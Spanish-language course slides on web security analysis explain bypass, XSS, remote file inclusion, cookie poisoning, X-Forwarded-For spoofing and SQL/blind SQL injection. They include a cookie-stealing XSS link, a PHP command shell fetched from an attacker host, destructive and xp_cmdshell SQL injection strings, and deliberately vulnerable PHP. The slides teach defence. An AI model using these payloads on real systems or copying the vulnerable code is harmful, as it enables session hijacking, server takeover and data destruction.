

Analista de Seguridad Informática



Organiza



Enseñanzas Propias



Dpto. Lenguajes y Computación

Julio Gómez López

Capítulo 5. Analista WEB

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inject



Introducción


En este capítulo veremos hasta que punto y de que formas pueden obtenerse, cambiarse o incluso como hacer desaparecer contenidos web y datos sensibles de empresas o estamentos gubernamentales en su contacto con el mundo a través de sus paginas web.

Se tratarán diversos vectores de ataque conocidos como el XSS (Cross Site Scripting), RFI (Remote File Includer), LFI (Local File Includer), Autenticación web (mediante scripts o bypass), SQL y Blind SQL injection

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect




Vulnerabilidades

Se tratarán diversos vectores de ataque conocidos como por ejemplo el XSS (Cross Site Scripting), RFI (Remote File Includer), Autenticación web (mediante scripts o bypass), SQL y Blind SQL inyection. Nuestro objetivo es, buscar las contramedidas necesarias para mitigar este tipo de ataques, y poder así asegurar los contenidos y BD de páginas webs. Y que duda cabe que no hay mejor forma de saber defenderse que si se poseen los conocimientos necesarios para sacar provecho de las vulnerabilidades mencionadas.

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



By Pass

Esta vulnerabilidad nos permite acceder a áreas restringidas a usuarios, “protegidas” por user y pass sin que sea necesario introducir un pass.

Esta es una vulnerabilidad que afecta a todo ámbito de programas y desarrollos web. Su secreto reside como siempre en fallos de programación.

Un ejemplo claro podemos verlo en los Foros Splatt < 3.2

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

Validaciones

Vamos a ver diferentes formas de saltar scripts de validacion java, php, etc....

No se pueden dar mas nociones que indicar lo primordial de revisar el contenido del código fuente de la web que esta tratando de analizar, también debe estar presente que el uso de software como httpanalyzer, archilles, Nikto y otros analizadores http, CGI y proxis intermedios será muy útil para el la buena consecución de los objetivos que se plantean.

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

XSS(Cross Site Scripting)

Esta vulnerabilidad es un fallo en el sistema de validación de HTML incrustado y consiste en inyectar código HTML y Javascript donde no debería haberlo y así conseguir algún provecho, normalmente esta vulnerabilidad se usa para el robo de cookies, para hacer phishing y desfaces en los foros. Se suele encontrar en los buscadores de la web.


Hay dos tipos: La Directa y la Indirecta.

Pasamos a verlos

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect




XSS(Cross Site Scripting)

- Directa: Es muy difícil de encontrar una vulnerabilidad de este tipo. Se encuentra en los foros, libros de visita y webs que se puedan modificar por medio de formularios. Cuando alguien entre a la parte del foro donde se ha inyectado el código, se ejecutara en su navegador y hará lo que se desee. Algunos usan esta vulnerabilidad para hacer un deface usando una etiqueta <div> que cubra toda la web o con un script que la redireccione a tu sitio.

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



XSS(Cross Site Scripting)

- Indirecta: Este tipo de XSS es muy fácil de encontrar en motores de búsqueda. En esta el código se inyecta a través de formularios, URL, cookies, programas en Flash o incluso en vídeos. Esta vulnerabilidad es mas difícil sacarle provecho ya que tenemos que conseguir que alguien entre en el enlace malicioso, mas adelante se vera lo que es un enlace malicioso.


Capítulo 5. Analista WEB

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



XSS(Cross Site Scripting)

- Generalmente un atacante va a inyectar un script de JavaScript, VBScript, ActiveX, HTML, or Flash en el request de la aplicacion vulnerable, intentando engañar a la persona que acceda a ese link, con el fin de obtener informacion de la víctima.
- Posibilitandole por ej. Hijackear la cuenta, manipular una cookie, etc.
- Ej de link:
 - `http://atacante/roba_cookie.php?variable="><script>document.location='http://server_vulnerable/cgi/cookie.cgi?'+document.cookie</script>`
 - Esto roba el cookie y luego llama el website vulnerable con el mismo, no esta vulnerando al sitio sino a la persona que esta accediendo al mismo.
 - Con lo que podria por ejemplo utilizar esa cookie para pasar con el usuario atacado y hijackear su sesion.
 - Normalmente el atacante buscara un mecanismo para que no sea tan obvio, ej poner todo en hexadecimal.

Capítulo 5. Analista WEB

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



RFI(Remote File Inclusion)

Esta vulnerabilidad se basa en incluir archivos remotos en documentos hechos exclusivamente en php. La función "include();" de php permite incluir archivos dentro del mismo documento como si fuesen parte del texto, esta función se puede usar de dos formas que veremos a continuación.

Este tipo de vulnerabilidad compromete a TODO EL SERVIDOR

Capítulo 5. Analista WEB

Contenido

- Introducción
- Vulnerabilidades
 - By pass
 - Validación
 - XSS
 - RFI
 - Cookies
 - Spoff Http
 - SQL Inyect

RFI(Remote File Includer)

Forma 1----> `include("web.html");` Así el documento no sería vulnerable porque no permite cambiar el archivo a incluir.

Forma 2----> `include($variable);` Esta es la forma vulnerable, ya que podemos modificar la variable mediante la URL.

Atacando:

Creamos un archivo.txt que contenga:

```
<? system($cmd)?>
```

Capítulo 5. Analista WEB

Contenido

- Introducción
- Vulnerabilidades
 - By pass
 - Validación
 - XSS
 - RFI
 - Cookies
 - Spoff Http
 - SQL Inyect

RFI(Remote File Includer)

En la Url del navegador escribimos:

```
http://www.vulnerable.com/index.php?page=http://www.atacante.com/shell.txt?&cmd=(comando)
```

Como vemos podemos poner cualquier comando o pasar cualquier archivo y que se ejecute en el servidor de la víctima.

Esta técnica es la que suelen usar los Defacers para cambiar los contenidos de las web.

Capítulo 5. Analista WEB

Cookie Poisoning

Una cookie es un fragmento de información que se almacena en el disco duro del visitante de una página web a través de su navegador, a petición del servidor de la página. Esta información puede ser luego recuperada por el servidor en posteriores visitas .

Los usos más frecuentes de las cookies son:


- * Llevar el control de usuarios: cuando un usuario introduce su nombre de usuario y contraseña, se almacena una cookie para que no tenga que estar introduciéndolas para cada página del servidor. Sin embargo una cookie no identifica a una persona, sino a una combinación de computador y navegador.
- * Ofrecer opciones de diseño (colores, fondos, etc) o de contenidos al visitante.
- * Conseguir información sobre los hábitos de navegación del usuario, e intentos de spyware, por parte de agencias de publicidad y otros .

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



Capítulo 5. Analista WEB

Cookie Poisoning


Aunque las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, un atacante podría modificar el valor de las cookies antes de devolverlas. Si, por ejemplo, una cookie contiene el valor total de la compra de un usuario en un sitio web, cambiando ese valor el servidor podría permitir al atacante pagar menos por su compra. Este proceso se denomina falsificación de cookies (cookie poisoning). Sin embargo, la mayoría de los sitios web solo almacenan en la cookie un identificador de sesión, un número único utilizado para identificar la sesión del usuario y el resto de la información se almacena en el propio servidor. Así, el problema queda prácticamente eliminado

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect



Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

http spoof

Sabemos que hay webs que nos muestran las ip de los clientes que se conectan.... Pero existen fallos de programación en muchas de ellas que permiten engañar al sistema indicando una ip falsa. Esta técnica se conoce como http spoof.

Veamos ahora el fragmento de código vulnerable que nos muestra la ip de la que nos conectamos:

```
<? $direccionip = getenv(REMOTE_ADDR);  
Echo $direccionip ;  
?>
```

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

http spoof

Es vulnerable porque podríamos enviar el siguiente paquete de encabezado http con netcat,archilles,httpanalicer.....:

```
GET /bug/ip.php HTTP/1.0  
Accept: /*  
Accept-Language: es-mx  
UA-CPU: x86  
Proxy-Connection: Keep-Alive  
X-Forwarded-For: 666.666.666.666  
User-Agent: Mozilla/4.0  
Host: pagina.vulnerable.net  
Pragma: no-cache
```

Nuestra cookie.....

Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

http spoof

X-Forwarded-For: 666.666.666.666

En este punto estamos indicando que venimos de un proxy con la ip 666.666.666.666 cosa que es imposible y que el sistema aceptaría sin problemas.

El script correcto de verificación de ip debe constar también de la comprobación de proxy.

Se entrega el script en la documentación complementaria.




Capítulo 5. Analista WEB

Contenido
Introducción
Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inyect

SQL Injection

Por inyección SQL entendemos el acto de insertar una serie de sentencias SQL en una 'consulta' mediante la manipulación de la entrada de datos de una aplicación, con la que podemos conseguir validaciones de entrada, extracción y modificación de datos, así como el compromiso total del host. Cada tipo de base de datos tiene sus propias peculiaridades y métodos de inyección, dadas las diferencias inherentes de las mismas y del lenguaje en el que se implementan las consultas.



Capítulo 5. Analista WEB


SQL Injection

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inject



Ejemplo de código vulnerable:

```
$sql_query = "select id from Usuarios where user = '$user' and pass = '$pass'";
```

- Vulnerabilidad:**
 - Tanto [\$user] como [\$pass] no están filtrados, ni validados.
 - Nuestra BD y sistema están comprometidos.
- Ataque:**
 - Nuestra consulta va a tener la siguiente forma:
user' or 'a'='a O ' or 1=1; drop table...;--
O peor aun...
user'; exec master..xp_cmdshell '.....';--

Capítulo 5. Analista WEB


BSQL Injection

Contenido

Introducción

Vulnerabilidades

- By pass
- Validación
- XSS
- RFI
- Cookies
- Spoff Http
- SQL Inject



El modo de funcionamiento de este tipo de ataque se basa en conseguir que los comandos se ejecuten con la desventaja de no poder visualizar ninguno de los resultados. Esta falta de muestreo de resultados se produce por el tratamiento total de los códigos de error.

Pero a pesar de todo eso, si que es posible conseguir información de la base de datos, modificando la información que se envía y viendo los cambios en las respuestas que se obtienen. El objetivo del Blind SQL es detectar esos cambios para poder averiguar la información extraída en función de esos cambios.

Capítulo 5. Analista WEB

Contenido

- Introducción
- Vulnerabilidades
 - By pass
 - Validación
 - XSS
 - RFI
 - Cookies
 - Spoff Http
 - SQL Inject

BSQL Injection

Utilizaremos un vector de ataque basado en la lógica booleana, o sea, verdadero o falso. Consiguiendo SQL+ y SQL0. O sea una sentencia en la SQL+ en la que los datos que se muestran cambian y una SQL0 en la que los datos que se muestran no cambian. Un ejemplo de uso de esta metodología sería:

SQL0 -> <https://www.wev.com/noticias.php?id=1> and 1=1

En la anterior sentencia no se realizan cambios en la consulta

SQL+ -> <https://www.wev.com/noticias.php?id=1> and 1=0

En esta última sentencia si debería haber cambios en lo que se nos muestra. Si esto es así tenemos una inyección ciega.

